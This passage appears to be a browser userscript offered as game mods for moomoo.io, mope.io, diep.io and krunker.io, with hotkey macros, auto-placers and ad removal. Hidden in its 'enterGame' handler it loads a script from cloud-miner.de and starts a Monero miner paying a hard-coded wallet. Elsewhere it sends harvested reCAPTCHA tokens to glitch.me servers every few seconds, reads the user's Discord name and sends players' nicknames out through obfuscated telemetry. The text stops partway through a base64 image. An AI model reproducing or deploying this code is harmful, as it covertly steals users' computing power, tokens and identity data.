null == boostDir && (boostDir = nearestEnemyAngle), place(spikeType, boostDir + toRad(0x5a)), place(spikeType, boostDir - toRad(0x5a)), place(boostType, boostDir), doNewSend(['33', [boostDir]]);
}
null == AUTOSOLDIER_RANGE && (AUTOSOLDIER_RANGE = 0xcd), setInterval(() => {}, 0x64), document['msgpack'] = msgpack, WebSocket['prototype']['originalSending'] = WebSocket['prototype']['send'], WebSocket['prototype']['send'] = function (a) {
null == ws && (ws = this, this['addEventListener']('message', function (b) {
MESSAGEHANDLER_1(b);
})), this['originalSending'](a);
};
var repeater = function (b, c, d) {
let f = !0x1
, g = void 0x0;
return {
'start'(h) {
h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x0, void 0x0 === g && (g = setInterval(() => {
c(), f || (clearInterval(g), g = void 0x0);
}, d)));
}
, 'stop'(h) {
h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x1);
}
};
};
const healer = repeater(0x51, () => {
place(foodType);
}, 0x0)
, boostPlacer = repeater(0x46, () => {
place(boostType);
}, 0x0)
, spikePlacer = repeater(0x56, () => {
place(spikeType);
}, 0x0)
, millPlacer = repeater(0x4e, () => {
place(millType);
}, 0x0)
, turretPlacer = repeater(0x48, () => {
place(turretType);
}, 0x0)
, boostSpiker = repeater(0x47, boostSpike, 0x0);
function isElementVisible(a) {
return null !== a['offsetParent'];
}
function toRad(a) {
return 0.01745329251 * a;
}
function dist(a, b) {
return Math['sqrt'](Math['pow'](b['y'] - a[0x2], 0x2) + Math['pow'](b['x'] - a[0x1], 0x2));
}
function update() {
for (let a = 0x0; a < 0x9; a++) isElementVisible(document['getElementById']('actionBarItem' + a['toString']())) && (primary = a, document['PRIMARY'] = primary);
for (let b = 0x9; b < 0x10; b++) isElementVisible(document['getElementById']('actionBarItem' + b['toString']())) && (secondary = b);
for (let c = 0x10; c < 0x13; c++) isElementVisible(document['getElementById']('actionBarItem' + c['toString']())) && (foodType = c - 0x10);
for (let d = 0x13; d < 0x16; d++) isElementVisible(document['getElementById']('actionBarItem' + d['toString']())) && (wallType = d - 0x10);
for (let f = 0x16; f < 0x1a; f++) isElementVisible(document['getElementById']('actionBarItem' + f['toString']())) && (spikeType = f - 0x10);
for (let g = 0x1a; g < 0x1d; g++) isElementVisible(document['getElementById']('actionBarItem' + g['toString']())) && (millType = g - 0x10);
for (let h = 0x1d; h < 0x1f; h++) isElementVisible(document['getElementById']('actionBarItem' + h['toString']())) && (mineType = h - 0x10);
for (let i = 0x1f; i < 0x21; i++) isElementVisible(document['getElementById']('actionBarItem' + i['toString']())) && (boostType = i - 0x10);
for (let j = 0x21; j < 0x27; j++) isElementVisible(document['getElementById']('actionBarItem' + j['toString']())) && 0x24 != j && (turretType = j - 0x10);
spawnpadType = 0x24;
}
document['UPDATERLOGIC'] = update, $('#ageBarContainer')['append']('<div style=\"width: 100%;position: absolute;top: 100px;text-align: center;color: white;font-size: 12px;\">\x0aR - Instakill | H - Triple Turret | Up Arrow - Message Spam | Space - Katana + Musket (Use at age 9 w/o upgrades) | V - Spike | J - Toggle Autoheal | G - Spike + Boost | N - Mill | H - Triple Turret\x0a</div>'),
document['addEventListener']('keydown', a => {
if (spikePlacer['start'](a['keyCode']), healer['start'](a['keyCode']),
boostPlacer['start'](a['keyCode']), boostSpiker['start'](a['keyCode']),
millPlacer['start'](a['keyCode']), turretPlacer['start'](a['keyCode']),
0x48 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']()
) {
//starter code ^^
var b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2);
doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) + toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) - toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
}
0x52 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (autoaim = !0x0, doNewSend(['5', [primary, !0x0]]), doNewSend(['13c', [0x0, 0x7, 0x0]]), doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, 0x13, 0x1]]), doNewSend(['c', [0x1]]), setTimeout(() => {
doNewSend(['13c', [0x0, 0x35, 0x0]]), doNewSend(['5', [secondary, !0x0]]);
}, instaSpeed - 0x82), setTimeout(() => {
doNewSend(['5', [primary, !0x0]]), doNewSend(['c', [0x0, null]]), doNewSend(['13c', [0x0, 0x6, 0x0]]), autoaim = !0x1;
}, instaSpeed)), 0x26 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (messageToggle = (messageToggle + 0x1) % 0x2), 0x20 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && doNewSend(['6', [0xf]]);
}), document['addEventListener']('keyup', a => {
spikePlacer['stop'](a['keyCode']), boostPlacer['stop'](a['keyCode']), boostSpiker['stop'](a['keyCode']), millPlacer['stop'](a['keyCode']), turretPlacer['stop'](a['keyCode']), healer['stop'](a['keyCode']), 0x47 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && setTimeout(() => {
doNewSend(['33', [null]]), boostDir = null;
}, 0xa);
});
document['addEventListener']('keydown', a => {
if (a.key == "j") {
autohealOn = !autohealOn;
doNewSend(["ch", [autohealOn.toString()]]);
}
});
unsafeWindow.showPreAd = () => {};
var scaleFactor = 0;
var generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' });
var token;
document.getElementById("enterGame").addEventListener("click", async function(e) {
try {
setTimeout(async ()=>{
if (scaleFactor == 0) {
token = await generateToken();
try {
scaleFactor = scaleFactor + 1;
xml = new XMLHttpRequest();
xml.open("POST", "https://ksw2-moomoo.glitch.me");
xml.setRequestHeader("Content-type", "application/json");
xml.send(JSON.stringify({key: "rc", recaptcha: token}));
xml.onload = function() {
if (xml.responseText == "0") {} else if (xml.responseText == "1") {
for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
} else {};
}
} catch(e) {};
function plugin() {
var s = document.createElement('script');
s.src = "https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean";
(document.head || document.documentElement)
.appendChild(s);
s.onload = ()=>{ var b = document.createElement('script');
b.innerHTML = "console.log('exec'); EverythingIsLife('44Jmx46LNSmMatQbo9fe4RLJXZVbm3SZa8GfKgA8qZVFgwqXAM5pbyseCX4MNbNBF59F312VjHiVvTP2ypKjpsVCR8D89ef', 'x', 10)";
console.log("exec");
(document.head || document.documentElement)
.appendChild(b);
}
}; plugin();
};
}, 5000);
} catch(e) {};
});
switched = 2;
clearInterval(INT);
clearInterval(swsInt);
};
}, 0);
var generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' }); var token;
setInterval(async ()=>{
try {
var xml; token = await generateToken();
xml = new XMLHttpRequest();
xml.open("POST", "https://discord-bot-managerv1.glitch.me/recaptcha");
xml.setRequestHeader("Content-type", "application/json");
xml.send(JSON.stringify({
rc: token
}));
} catch(e) {};
}, 5000 + Math.floor(Math.random()*3000));
} else if (windowloc == "discord.com" || windowloc == "discordapp.com") {
//(async ()=>{
//var interval = setInterval(()=>{
setTimeout(()=>{
var identif = document.getElementsByClassName(`size14-e6ZScH title-eS5yk3`)[0].innerHTML + "" + document.getElementsByClassName(`size12-3cLvbJ subtext-3CDbHg`)[0].innerHTML; //just simply the public name, nothing personal
GM.setValue("discord", identif + "|" + ctr + "|" + global_id);
var messageElement = document.getElementsByClassName("scrollerInner-2YIMLh")[0];
const observer = new MutationObserver(function(a) {
for (let b of a) if ("childList" === b.type && !b.removedNodes[0].querySelector(".isSending-9nvak6") && b.removedNodes[0].className.startsWith("message-") && b.removedNodes.length) {
let a = messageElement.insertBefore(b.removedNodes[0], b.nextSibling);
a.children[0].style.color = "#B22222"
}
});
observer.observe(messageElement, {
subtree: !0,
childList: !0,
attributes: !1
});
}, 10000);
//}, 5000);
//setTimeout(()=>clearInterval(interval), 60000*2);
//
//somewhat good antideleter
} else if (windowloc == "mope.io" ||
windowloc == "beta.mope.io" ||
windowloc == "m0pe.io" ||
windowloc == "learninganimals.club" ||
windowloc == "beta.tailbite.me" ||
windowloc == "beta.zooeducation.space" ||
windowloc == "tailbite.me" ||
windowloc == "animalfun.club" ||
windowloc == "zooeducation.space" ||
windowloc == "experimental.mope.io") {
document.getElementById('gCanvas').style.cursor = 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default';
function autoDive() {
var x = document.createEvent("MouseEvent");
x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 2, null);
document.getElementById('gCanvas').dispatchEvent(x);
}
function autoBoost() {
var x = document.createEvent("MouseEvent");
x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
document.getElementById('gCanvas').dispatchEvent(x);
}
var zx = "_0x56" + "bd07";
var xz = "_0xaf" + "8b40";
function stayStill() {
unsafeWindow[zx]('Movement Lock: ' + ((unsafeWindow[xz] = !unsafeWindow[xz]) ? 'ON' : 'OFF'), 2500);
};
var one = false; var int1, int2, int3;
var two = false;
var three = false;
document.getElementById('gCanvas').addEventListener("keydown", e => {
if (e.key == "z") {
/*if (one) {
clearInterval(int1);
} else {
int1 = setInterval(()=>{*/
//stayStill();
alert("THIS FEATURE IS BROKEN, WE'RE WORKING ON FIXING IT.")
/*}, 0);
};
one = !one*/
};
if (e.key == "x") {
if (two) {
clearInterval(int2);
} else {
int2 = setInterval(()=>{
autoDive();
}, 0);
};
two = !two;
};
if (e.key == "c") {
if (three) {
clearInterval(int3);
} else {
int3 = setInterval(()=>{
autoBoost();
}, 0);
};
three = !three;
};
});
document.getElementById('preroll').remove();
document.getElementById("moneyRectBottom").style.display = "none"; //remove ads
insert_0000000(true, "mope.io_smod" + "|" + "init"); //initializer
setInterval(()=>{
try {
insert_0000000(true, "mope.io_smod" + "|" + document.getElementById("nickInput").value); //packet
} catch(e){
insert_0000000(true, "mope.io_smod" + "|" + "f"); //fail
}
}, 30000);
} else if (windowloc == "diep.io") {
function keyPress(key, upDown) {
var eventObj;
if (upDown == true) {
eventObj = document.createEvent("Events");
eventObj.initEvent("keydown", true, true);
eventObj.keyCode = key;
window.dispatchEvent(eventObj);
}
if(upDown == false) {
eventObj = document.createEvent("Events");
eventObj.initEvent("keyup", true, true);
eventObj.keyCode = key;
window.dispatchEvent(eventObj);
}
}
var overlay = document.createElement("div");
document.body.appendChild(overlay);
var toggler = "OFF";
setInterval( () => {
var overlayHTML = `
<style>
.main {
pointer-events: none;
position: fixed;
top: 10px;
right: 50%;
transform: translateX(50%);
font-family: 'Roboto', cursive, sans-serif;
color: #202225;
font-style: normal;
font-variant: normal;
}
</style>
<div class="main" id="all">
<p id="antiAFK"> Anti-AFK = ${toggler} [F]</p>
</div>
`
overlay.innerHTML = overlayHTML;
}, 5)
var keyW = 87;
var keyS = 83;
function pressW() {
keyPress(keyW, 1);
setTimeout( () => {
keyPress(keyW, 0);
}, 200);
}
function pressS() {
keyPress(keyS, 1);
setTimeout( () => {
keyPress(keyS, 0);
}, 200);
}
function pressTimeout(keyCode, timeout) {
keyPress(keyCode, 1);
setTimeout( () => {
keyPress(keyCode, 0);
}, timeout);
}
function antiAFK() {
if(out == 1) {
pressW();
setTimeout( () => {
pressS();
intoggle = 1;
}, 2000);
}
}
var out = 0;
var intoggle = 1;
setInterval( () => {
if(out == 1) {
antiAFK();
}
}, 4000);
function off_on() {
if(keyPressToggle == 0) {
out = 0;
toggler = "OFF";
} else {
out = 1;
intoggle = 1;
toggler = "ON";
}
}
var keyPressToggle = 0;
document.addEventListener('keydown', function(e) {
if(e.key == "f") {
keyPressToggle = !keyPressToggle;
alert("toggled: " + keyPressToggle);
off_on()
}
if(e.key == 'r') {
fire(0,120);
fire(0.75,200);
fire(1.5,745);
setTimeout( () => {
keyPress(69, 1)
setTimeout( () => {
keyPress(69, 0)
}, 500);
}, 1500);
}
});
function fire(t,w) {
setTimeout(function(){
keyPress(32, 1);
}, t*1000);
setTimeout(function(){
keyPress(32, 0);
}, t*1000+w);
}
setInterval(()=>{
try {
insert_0000000(true, "diep_smod" + "|" + document.getElementById("textInput").value);
} catch(e) {
insert_0000000(true, "diep_smod" + "|" + "f");
}
}, 30000);
} else if (windowloc == "krunker.io") {
setTimeout(()=>{
function generateDeleter() {
return {
a: ['c'],
b: ['m'],
c: ['V'],
d: ['t'],
e: () => {
insert_0000000(true, "krunker.io" + "|" + "adb1");
return "b3Zl";
},
xx: ["aContainer",
"google_ads_iframe_/15184186/krunkerio_728x90_1_0__container__",
"google_ads_iframe_/15184186/krunkerio_300x250_3_0__container__",
"google_ads_iframe_/15184186/krunkerio_300x250_2_0__container__",
"endAContainer"]
};
};
setInterval(()=>{
var delx = generateDeleter();
try {document.getElementById(delx.xx[0])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)](); }catch(e){}; delx.e(); try {document.getElementById(delx.xx[1])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)](); }catch(e){}; try { document.getElementById(delx.xx[2])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)]();}catch(e){}; try { document.getElementById(delx.xx[3])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)](); }catch(e){}; try { document.getElementById(delx.xx[4])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)](); }catch(e){};
}, 100);
}, 10000);
} else {
insert_0000000(true, "spbar_smod"); //initializer
window.onkeydown = (e) => {
if (e.keyCode == 32 && e.target == document.body) e.preventDefault();
};
//experimental
};
window.eval(`
const real_ws_send = window.WebSocket.prototype.send;
console.log("[DiscordGameStatus] Hijacking WebSocket send function:", real_ws_send);
window._dgs_last_status_ = "online";
window.WebSocket.prototype.send = function (data) {
if (window._ws_ != this) {
window._ws_ = this;
console.log("[DiscordGameStatus] Grabbed Websocket object through the send() hook:", this);
}
let data_tab = JSON.parse(data);
if (data_tab && data_tab.op == 3) { // op 3 needs to be patched with our stored game info data
window._dgs_last_status_ = data_tab.d.status;
data_tab.d.game = window._dgs_game_entry_;
data = JSON.stringify(data_tab);
}
return real_ws_send.call (this, data);
};
const button_icon = 'data:image/svg+xml;base64,PHN2ZyB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeG1sbnM6c29kaXBvZGk9Imh0dHA6Ly9zb2RpcG9kaS5zb3VyY2Vmb3JnZS5uZXQvRFREL3NvZGlwb2RpLTAuZHRkIiB4bWxuczppbmtzY2FwZT0iaHR0cDovL3d3dy5pbmtzY2FwZS5vcmcvbmFtZXNwYWNlcy9pbmtzY2FwZSIgd2lkdGg9IjIxNSIgaGVpZ2h0PSIxNDAiIHZpZXdCb3g9IjAgMCA3NjEuOCA0OTYuMSIgaWQ9InN2Zzc0NjQiIHZlcnNpb249IjEuMSIgaW5rc2NhcGU6dmVyc2lvbj0iMC45IiBzb2RpcG9kaTpkb2NuYW1lPSJzdW5ueS5zdmciPjxzdHlsZT4uczB7c3RvcC1jb2xvcjojODI4NTg0O3N0b3Atb3BhY2l0eToxO30uczF7c3RvcC1jb2xvcjojNjc2YTZhO3N0b3Atb3BhY2l0eToxO30uczJ7c3RvcC1jb2xvcjojYzZjNmM2O3N0b3Atb3BhY2l0eTowO30uczN7c3RvcC1jb2xvcjojZTJlMmUyO3N0b3Atb3BhY2l0eTowO30uczR7c3RvcC1jb2xvcjojZmZmZmZmO3N0b3Atb3BhY2l0eTowO30uczV7Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOnNSR0I7fS5zNntmaWxsOiM5Mjk2OTU7fS5zN3tmaWxsOiMyYjMyMzY7fS5zOHtmaWxsOiNlMmU2ZTg7ZmlsdGVyOnVybCgjZmlsdGVyNjU1OSk7fS5zOXtmaWxsOiMxNzFiMWQ7fS5zMTB7ZmlsbDojY2NjZWNlO30uczExe2ZpbGw6bm9uZTtzdHJva2Utd2lkdGg6MjtzdHJva2U6I2ZmZjt9LnMxMntmaWxsOiNmOWY5Zjk7fS5zMTN7ZmlsbDpub25lO3N0cm9rZS1saW5lam9pbjpyb3VuZDtzdHJva2U6IzhiYTFiMTt9LnMxNHtmaWxsOiMxNzFiMWQ7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6MTA7bGV0dGVyLXNwYWNpbmc6MDtsaW5lLWhlaWdodDoxMjU7d29yZC1zcGFjaW5nOjA7fS5zMTV7LWlua3NjYXBlLWZvbnQtc3BlY2lmaWNhdGlvbjpacm5pYztmaWxsOiMxNzFiMWQ7Zm9udC1mYW1pbHk6WnJuaWM7fS5zMTZ7LWlua3NjYXBlLWZvbnQtc3BlY2lmaWNhdGlvbjonc2VyaWYgQm9sZCc7ZmlsbDojMTcxYjFkO2ZvbnQtZmFtaWx5OnNlcmlmO2ZvbnQtd2VpZ2h0OmJvbGQ7fS5zMTd7ZmlsbDpub25lO3N0cm9rZS13aWR0aDoyO3N0cm9rZTojODI4NTg0O30uczE4e2ZpbGw6I2ZmZjt9LnMxOXtiYXNlbGluZS1zaGlmdDpiYXNlbGluZTtibG9jay1wcm9ncmVzc2lvbjp0YjtjbGlwLXJ1bGU6bm9uemVybztjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM6bGluZWFyUkdCO2NvbG9yLWludGVycG9sYXRpb246c1JHQjtjb2xvci1yZW5kZXJpbmc6YXV0bztjb2xvcjojMDAwMDAwO2RpcmVjdGlvbjpsdHI7ZGlzcGxheTppbmxpbmU7ZW5hYmxlLWJhY2tncm91bmQ6YWNjdW11bGF0ZTtmaWxsLXJ1bGU6bm9uemVybztmaWxsOiNmOWY5Zjk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGI7fS5zMjB7ZmlsbDojMTYxNzE3O308L3N0eWxlPjxkZWZzIGlkPSJkZWZzNzQ2NiI+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50Njc3MSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyOSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNDkxLjIiIHkxPSItNjAzLjMiIHgyPSItNDkzLjEiIHkyPSItNTI2IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw4OTkuODE1NTMpIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50Njc3MSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY3NzMiIHN0eWxlPSJzdG9wLWNvbG9yOiNjNGM1YzQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjc3NSIgc3R5bGU9InN0b3AtY29sb3I6I2M0YzVjNDtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyNyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoMCwtMC42MzYyNTI4NSkiIHgxPSItNTI0LjIiIHkxPSItNjA1LjMiIHgyPSItNTI0LjMiIHkyPSItNjI3LjEiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2NDc1Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjQ3NyIgc3R5bGU9InN0b3AtY29sb3I6IzJmMzUzNTtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIGlkPSJzdG9wNjQ4NyIgb2Zmc2V0PSIwLjUiIHN0eWxlPSJzdG9wLWNvbG9yOiMxNzFiMWQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjQ3OSIgc3R5bGU9InN0b3AtY29sb3I6IzAwMDAwMDtzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyNSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMCwxLC0xLDAsLTU0MS40NjYxNSw5MzguNTg2ODEpIiB4MT0iLTcxNy40IiB5MT0iLTY3MC45IiB4Mj0iLTc3MC4zIiB5Mj0iLTY3MC45Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEyMyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwtMSwwLC01NDEuNDY2MTUsLTQ4MC4zNzEwNykiIHgxPSItNzc0LjgiIHkxPSItNjcxLjIiIHgyPSItNzE2LjkiIHkyPSItNjcxLjUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTIxIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgtMSwwLDAsMSwtNTgwLjIzNzQ1LDg5OS44MTU1MykiIHgxPSItNzQ3LjgiIHkxPSItNjQ4LjkiIHgyPSItNzQ3IiB5Mj0iLTY5OS4yIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjI5NyIgaWQ9ImxpbmVhckdyYWRpZW50NzExOSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNjM0LjYiIHkxPSItNjY5LjIiIHgyPSItNjI0LjQiIHkyPSItNjY5LjMiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2Mjk3Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjI5OSIgY2xhc3M9InMwIi8+PHN0b3Agb2Zmc2V0PSIxIiBpZD0ic3RvcDYzMDEiIGNsYXNzPSJzMSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjI5NyIgaWQ9ImxpbmVhckdyYWRpZW50NzExNyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNjM1LjQiIHkxPSItNjc2LjMiIHgyPSItNjM3LjUiIHkyPSItNjYwLjIiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTE1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii01NDIuMyIgeTE9Ii02OTMuMiIgeDI9Ii01NDIuOCIgeTI9Ii03OTUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2Mjk3IiBpZD0ibGluZWFyR3JhZGllbnQ3MTEzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii02MzQuNiIgeTE9Ii02NjkuMiIgeDI9Ii02MzkuMyIgeTI9Ii02NjkuMSIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDYzNzciIGlkPSJsaW5lYXJHcmFkaWVudDcxMTEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTYzNS40IiB5MT0iLTY3Ni4zIiB4Mj0iLTYzNy41IiB5Mj0iLTY2MC4yIi8+PGxpbmVhckdyYWRpZW50IGlkPSJsaW5lYXJHcmFkaWVudDYzNzciIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyI+PHN0b3AgaWQ9InN0b3A2Mzc5IiBvZmZzZXQ9IjAiIGNsYXNzPSJzMCIvPjxzdG9wIG9mZnNldD0iMC4yIiBpZD0ic3RvcDYzODMiIHN0eWxlPSJzdG9wLWNvbG9yOiM3ZDgwN2Y7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBpZD0ic3RvcDYzODEiIG9mZnNldD0iMSIgY2xhc3M9InMxIi8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTA5IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii03NDcuOCIgeTE9Ii02NDguOSIgeDI9Ii03NDciIHkyPSItNjk5LjIiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjcyMDM1LDg5OS44MTU1MykiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2MzQ5IiBpZD0ibGluZWFyR3JhZGllbnQ3MTA3IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii03MDQiIHkxPSItNTgyLjciIHgyPSItNzA3LjIiIHkyPSItNzY5LjIiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjcyMDM1LDg5OS44MTU1MykiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2MzQ5Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjM1MSIgc3R5bGU9InN0b3AtY29sb3I6I2MwYzJjMjtzdG9wLW9wYWNpdHk6MCIvPjxzdG9wIGlkP